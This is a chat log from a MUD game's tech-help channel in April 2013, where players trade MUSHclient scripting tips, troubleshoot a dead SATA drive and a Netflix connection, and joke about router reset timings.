T3/r7/2013-04-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: have you tried phoning bill?
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Grissom Tech: is that what that button does,hmmmm.
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Book of Etzli Tech: And additionally, my laptop does not have one of those keys.
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Mye Tech: keep a usb keyboard with you at all times.. cannot survive withotu a number pad
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Book of Etzli Tech: Right. My game computer has a USB keyboard. I can't live without it. My work/school computer, however, doesn't really need one, for the most part.
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Book of Etzli Tech: I do have a USB mouse for it, though. I simply cannot live without that.
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Mye Tech: what version windows?  my work computer lets you change default paste options (2010) home ribbon > down button under paste > set default paste > cut, copy, and paste section > select boxes have "keep text only" options
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Mye Tech: or version office, rather
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Book of Etzli Tech: 2010.
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Mye Tech: also file > options > advanced gets same place
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Book of Etzli Tech: That works, thanks!
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Tech: Book of Etzli has no clue how he has never seen that before...
T3/r7/2013-04-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: so in the good old days (zmud) I could set up a system of triggers to turn themselves off using "#T- whatever" through the actual course of using said trigger
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Grissom Tech: well done
T3/r7/2013-04-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: in mushclient I know how to 'enable' or not going through the menu every time, but what's the way to enable or disable from command line?
T3/r7/2013-04-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: EnableGroup ("groupname", 1/0)
T3/r7/2013-04-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: starting with your script prefix which you set in mush
T3/r7/2013-04-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: or DisableGroup ("groupname", 1/0) ?
T3/r7/2013-04-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: what's the 1/0 for?
T3/r7/2013-04-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: no, use enable group, 1=true 0=false
T3/r7/2013-04-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: ah
T3/r7/2013-04-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: 1 turns it on, 0 turns it off
T3/r7/2013-04-26.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: gotcha
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Teklor Tech: if i wanted to make a trigger fire from basts statmon report how would i do that....doesn't seem to work
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: Anyone know if you can buy Kindle Fire apps as gifts without having a Kindle Fire?
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Tech: I'd say just give an amazon gift card
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: Nods, I know you can just get an amazon gift card, but these apps are on sale for a short period
T3/r7/2013-04-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: maybe this http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000426311
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Tech: I don't know that you can transfer apps across accounts
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: Looks like that might just do Kindle stuff (i.e. books), not Kindle Fire stuff, Hadar.
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Tech: yeah, that's just ereader software
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: I could get access to the account if I needed to
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: But can you buy stuff without a kindle?
T3/r7/2013-04-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: actually: http://www.amazon.com/gp/help/customer/display.html?nodeId=200375760#gift
T3/r7/2013-04-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: oh lol wrong link then
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: still just talks about kindle books, Hadar, not appstore apps
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: Hmm, you can access the amazon appstore from any android device, it looks like
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: but don't know if I'd be able to use an amazon account to purchase stuff on it.
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: guess I can try
T3/r7/2013-04-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: did you say you have access to the account?
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: It's for my mother.  I could call her and get the username/password if I needed to
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: actually, I might even know it
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Tech: yeah, if you can access the account, you should be able to gift card the account and then buy the app, then they can download it on the fire as a previously-purchased app
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: if you go to amazon on a pc, and try to buy a kindle app, it asks you to download the appstore (which isn't a windows file, it's an .apk file)
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: android
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: But I'll try on my phone in a bit
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: afk for a sec, though
T3/r7/2013-04-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: no way to send it as a gift though
T3/r7/2013-04-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im looking right now
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: Yeah, so looks like the best/only option is to figure out if I can user her account to purchase them without having access to her Kindle Fire.
T3/r7/2013-04-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: if it works like the google market, you can buy it on any device and transfer it to all devices you own
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Leinei Tech: Can you even switch accounts on an android phone?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Karang Tech: How would I go about accessing gcmp data?  Is it possible through an alias?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Zetkax Tech: what do you want to do with that data?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Karang Tech: wanted to do a mini window for quest info and stuffs
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Thunderax Tech: bast already has that for mush
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Zetkax Tech: ahh nod, i want to do the same but drawing guis in mushclient seems tedious
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Karang Tech: seriously a pain
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Zetkax Tech: are you doing this from lua? if not, i cant help
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Karang Tech: I guess the easy answer also is I looked at getting GMCP data using a plugin and it looked... fun and was hoping
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Karang Tech: a solution I can work and build on rather than scratching head
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Zetkax Tech: in lua i have some code to get the room number as follows
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Zetkax Tech: require "gmcphelper"
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Karang Tech: I haven't waited so intently for someone to talkin a bit =p
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Zetkax Tech: res, gmcparg = CallPlugin("3e7dedbe37e44942dd46d264", "gmcpval", "room")
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Zetkax Tech: luastmt = "gmcpdata = "..gmcparg
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Zetkax Tech: assert(loadstring(luastmt or "")) () <--- not sure what this does
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Zetkax Tech: local lCurrRoomNum = tonumber(gmcpval("info.num"))
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Karang Tech: Thanks now to take it for a spin,  I really apreciate it
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Karang Tech: so i tried just popping into an alias, I got this error [string "Alias: "]:3: attempt to concatenate global 'gmcpar' (a nil value)
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Zetkax Tech: all that stuff was in an lua script, i dont know how to do that stuff using gui
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Karang Tech: time to fit a square through a circle :p
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i bought a new sata hard drive for my pc...but my pc isent picking it up at all any ideas what might be wrong?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: my curent HDD is a ide but my motherboard has sata ports
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Are your SATA ports enabled in the BIOS?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: here is the funny thing...my optica drive gets picked up but my bios doesent have a sata option only ide
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Baby steps - is the HDD/SSD connected to both power and the mobo? Then, does it appear in POST?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: its conected but desent apear anywhere
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So when the black screen spits out all the info on primary and slave drives, there is no info on the new drive?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: nope
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Know your mobo's model #?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: sadly i dont...is there a way to check it?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Should be somewhere in both POST and BIOS
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Or printed on it, of course
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok let me look on it
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ep-8kmm3i-x
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Well that one is compatible with SATA 2.0, at least - and should absolutely have an option in BIOS to manage that
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: HDD or SSD?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok uhm...im not sure what sata drive i have
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: afaik they are backwards compatible, should just be 2.0 speeds if you have plugged in a SATA 3 drive
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i checked bios it has 0master 0slace 1master 1slave all ide
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Right, but is the SATA a platter or solid state?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: again in english please :P
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: HDD or SSD - big, heavy and chunky, or slim and light
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: heavy and chunky
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: How do you feel about turning the machine on while open? Don't do it if you aren't comfortable with it, but it would help if you could tell if the disc is spinning up when you power on
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: the box is alwyse open :P....well uhm..ill have to reboot so ill be gone alittle but brb
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Say what? That seems rather bad as far as airflow and dust is concerned...
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: I clean it weekly it gets heated easy so I leave it open
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh. That's probably not good
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Tech: Queen Bee Noegel nods.
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok its not spinning
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In that case you have power issues - trace the power cable back to the PSU, make sure it's not a modular cable you unplugged for w/e reason, and if possible switch cables to an alternate
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: I take that means switch power cabels...on it!
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: so I used my optical drive's power cable...I had the hard drive to my ear and..well I think maby there whas a small hum lol
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Tell me you have that drive locked into place...
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: let's go with that yes :)
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok so..still not showing up
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Because that hum is a disc spinning at many times a second, and if you were to pick it up while it was spinning you would see a similar effect to punching a top while it was spinning...
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If the drive is spinning up, and is connected via SATA and is not being detected, could be one of: dud drive, dud SATA cable, dud SATA port, dud mobo, new mobo firmware needed, or a computer gremlin.
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: well judging by the sound from my other hard drive it whas just the van vibrations I heard as stil no drive showing
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh, so no spin? Dud drive
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Esp if the optical was firing up ok on that rail
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: it whas I even used the power cable from my old hard drive..stil not spinning
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Definitely dud drive then
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: dangit...just my stinking luck
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: thanks for the help
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: np - I would feel a lot better if you closed that box, though
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Get a bigger fan or heatsink or something, but close it
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: lol :P prepare to have nightmares...I don't even have to cover anymore :P
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Then a dud drive is the least of your worries. Even if you and your potential pets or children fail to electrocute themselves, the dust getting into places you can't or forget to clean will fry the whole thing sooner rather than later
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not to mention a dropped bit of foil or screw, etc
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: lol I'm messing with you :P its a new box has built in fan on the side
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok so when I go exchange it rather get another ide HDD?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: SATA would be my choice
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: but like i said...no sata options in bios
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: They'll be there :-)
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That mobo comes with SATA enabled by default
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: lol you sound like the wizard of oz :P
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok thanks :) ill bug you again next ween saterday :P
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: week*
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: o another question
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: windows 7 sucks...and i want to install xp pro again but it wont let me brings up a error you already have a newer version of windows installed...anyway around that?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Win 7 is the bomb - but an OS wipe will take care of your downgrade needs :-P
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: lol :P its just my misic is all..sticky doesent want to play well..thus i hate windows 7 :P
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: music :P...i need glasses :P
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Samar Tech: mushclient: my window with the ascii map disappeared, how do i get it back?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Grissom Tech: resetaard
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Grissom Tech: oh wait he has me ignored
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: resetaard
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Samar Tech: thanks!
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Samar Tech: it did not appear..
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: go to plugins ad reset the ascii map plugin
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Tech: Grissom boggles at the concept.
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: I should also say I don't know what I'm talking about :P lol
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Ophelion Tech: ctrl+shift+p..reinstall Aardwolf_Ascii_Mapper
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: see! I whas right..
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Tech: [Deputy] Sabertooth flexes his muscles...what a stud!?!
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Ophelion Tech: might be a random case of blacked out miniwidow
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Samar Tech: thanks, it worked.
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Samar Tech: no, it is systematic if i disable the scan window..
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Ophelion Tech: Bast miniwindows does that sometimes to me.
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Troxic Tech: Anyone know of a good map drawing program? 
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Akuri Tech: colored pencils and graph paper works pretty good
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Troxic Tech: I am looking for something less, umm, caveman-like... =P
T3/r7/2013-04-27.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: is it just me or is the mush mapper for thandeld's conflict a lil off?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Ayasinda Tech: I think it's just you
T3/r7/2013-04-27.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: how can u reset mush map for an area?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Ayasinda Tech: I think you mean mapper purgezone. Best to look at 'mapper help utils' to be sure
T3/r7/2013-04-27.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: thanks =)
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: cant access netflix :(
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: omg this is annoying !!! i want net flix  cant figure out whats wrong
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: ?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: tried two comps and different browsers and cant get to netflix
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: symptoms, messages, general info?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: Oops! Google Chrome could not find www.netflix.com
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Ayasinda Tech: no problem here
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: Internet Explorer cannot display the webpage 
T3/r7/2013-04-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: unplug your router for 30 seconds, and plug it back in
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: tech yahoo, msn, other sites working on port 80?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Aizma Tech: Go to 69.53.236.17
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: seems like i can get on through my phone tho connected to router
T3/r7/2013-04-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: windows 7?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: yea can get to any other site
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Ayasinda Tech: I go with Hadar. Turn your router off for 30 secs
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: on windows 7
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Aizma Tech: Not 31 seconds, though, or it'll break everything
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: tried router reset .. ill try again
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: 30.2321 is fine.
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Aizma Tech: Yes, that is within the acceptable range
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I've even had success with 30.812
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Aizma Tech: That's very rare
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Ayasinda Tech: wow. lucky you
T3/r7/2013-04-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: start type cmd, when it pops up type ipconfig /release then ipconfig /flushdns then ipconfig /renew ... if the power cycle does not work
T3/r7/2013-04-27.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Oddly enough, 802.11 was most successful.
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Aizma Tech: -_-
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: did flushdns
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: sec resetting router again
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Ayasinda Tech: hmm looks like he can't connect to anything now. Router broken completely.
T3/r7/2013-04-27.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: try turning security off entirely?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: guess i did not unplug router long enough last time
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Ayasinda Tech: it works now?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: helps to pull modem too
T3/r7/2013-04-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: worse comes to worse, kick it, that fixes everything
T3/r7/2013-04-27.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: actually that is only a successful intervention for television or washer/dryer and some other household appliances
T3/r7/2013-04-27.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: in the case of modems/routers you have to spill coffee or orange juice into them
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: yea it works ..
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: i guess it needed to be exactly 30 seconds :P
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Elchanan Tech: 29 seconds did not work earlier
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Daloran Tech: anyone know off hand what the current sweet spot is for $/gig for SSDs?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Mattk Tech: is there a way to transfer my maps from my other mush client to my laptop?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Hanslanda Tech: do you have a flash drive?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Mattk Tech: i just got a new laptop and its pretty much like starting from scratch
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Mattk Tech: could i email it and where could i find the file
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Hanslanda Tech: if you have a flash drive, you can install mush on it so you can use it on any device with a usb port.
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Hanslanda Tech: the file is in whatever folder you installed mush.  Dunno which file you need, but it's gonna be named something related to Aardwolf and will have a database file extension (ie, aardwolf.db)
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Daloran Tech: If you're going to run it from a flash drive, make sure its a decently speedy one... the mapper and such work terribly from slow media
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Hanslanda Tech: they have different seek rates like hdd?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Six-String Strazor Tech: Anyone use Mush with Wine?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Daloran Tech: I prefer to mush with beer.
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Fluffhead Tech: No, none of us do that on here. Ever. Or followed the guides.
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Six-String Strazor Tech: If anyone has a serious answer I am curious if you have experienced any issues with INFO notices.
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Fluffhead Tech: I've never had any problems with it. Well, any more than I had with windows
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Fluffhead Tech: been using it exclusively under wine for at least 6 months
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Six-String Strazor Tech: Good to know.  I am capturing everying correctly EXCECPT for INFO notices.  
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Six-String Strazor Tech: Other than that, It works great/
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Nuanse Tech: have you checked the capture other info?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Nuanse Tech: from under com log right mouseclick?
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Tech: Six-String Strazor nods at Nuanse.
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Six-String Strazor Tech: Actually, for whatever reason ctrl + click is not working...
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Akuri Tech: is there an easy way to make gmcp based triggers in gmcp
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Akuri Tech: mushclient sorry
T3/r7/2013-04-27.txt.gz:{chan ch=tech}Akuri Tech: lol
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Fravardin Tech: do we have any technology reviewers here?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i like this item, it looks nice in the box, in the next video we will unbox it join me for that!
T3/r7/2013-04-28.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i reviewed
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Tech: heh, I used to do tech reviews for a graphics tech website, but that was over a decade ago
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Redryn Tech: does mush automatically insert a newline break between functions if you're using colortell?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: is there a way to make mush run faster? im on a verry slow connection
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Sharkin Zanion Tech: turn off the porn
T3/r7/2013-04-28.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: nothing els running but mush
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Trachx Tech: is there easy way to get speedwalks to low level areas ?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Trachx Tech: I mean I would like what areas in range 1-70 have longest speedwalks
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Trachx Tech: just to consider them for getting some portal
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Vonliege Tech: in Mush... is there a prefix needed to call an alias from within an alias?  like the @ is used for variables?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Set the "send to" to Execute.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: send to execute
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Worl won't evaluate inner, but execute will.
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: wold*
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: omfg, world**
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Vonliege Tech: gotcha... what about the parts of the alias that are ment for the world... will they be parsed?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yes, it's like sending to world exactly, except that each of the parsed items is re-evaluated
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Vonliege Tech: guess I can always just try it... worst that can happen is I get nuked
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It's not fun
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Vonliege Tech: thanks, chessy
T3/r7/2013-04-28.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: how would i set up a triger to duel the weap i had before the mapper used a portal?
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Change your portal alias :P
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: #alias {wp *} {get '%1' portals;wear %1;enter;dual @dualed;put '%1' portals}
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Lorken Tech: history 3
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Lorken Tech: sorry mistell
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: it's -h 3 :P
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Vonliege Tech: now I have to go read "history 3"
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Vonliege Tech: DANGIT
T3/r7/2013-04-28.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Easiest way is to send "p" when you see "Your eyes glaze over."
